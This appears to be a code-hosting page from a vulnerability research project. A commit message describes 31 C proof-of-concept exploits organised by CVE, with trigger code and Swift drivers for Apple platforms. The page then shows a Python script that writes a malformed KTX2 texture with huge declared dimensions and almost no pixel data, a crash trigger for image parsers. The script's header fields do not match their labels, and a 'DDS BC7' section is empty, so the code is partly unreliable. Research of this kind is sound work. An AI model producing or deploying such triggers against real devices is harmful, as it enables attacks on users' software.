- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
31 lines
1.1 KiB
Python
31 lines
1.1 KiB
Python
#!/usr/bin/env python3
|
|
import struct
|
|
|
|
|
|
# --------------------------------------------------------------------------- KTX2
|
|
def build_ktx2():
|
|
ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
|
|
vk_format = 0 # 0 => block-compressed via DFD
|
|
type_size = 1
|
|
w, h = 0xFFFF, 0xFFFF
|
|
depth, layers, faces, levels = 0, 0, 1, 1
|
|
scheme = 0
|
|
kvd_off, kvd_len = 0, 0
|
|
sgdt_off, sgdt_len = 0, 0
|
|
header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
|
|
header += struct.pack("<IQ", kvd_off, kvd_len)
|
|
header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
|
|
# level index: one level, claiming a tiny byteOffset/byteLength
|
|
level_index = struct.pack("<QQQ", 0, 0, 64)
|
|
body = b"\x00" * 64
|
|
return ident + header + level_index + body
|
|
|
|
|
|
# --------------------------------------------------------------------------- DDS BC7
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
|
|
open(out, "wb").write(build_ktx2())
|
|
print("wrote", out)
|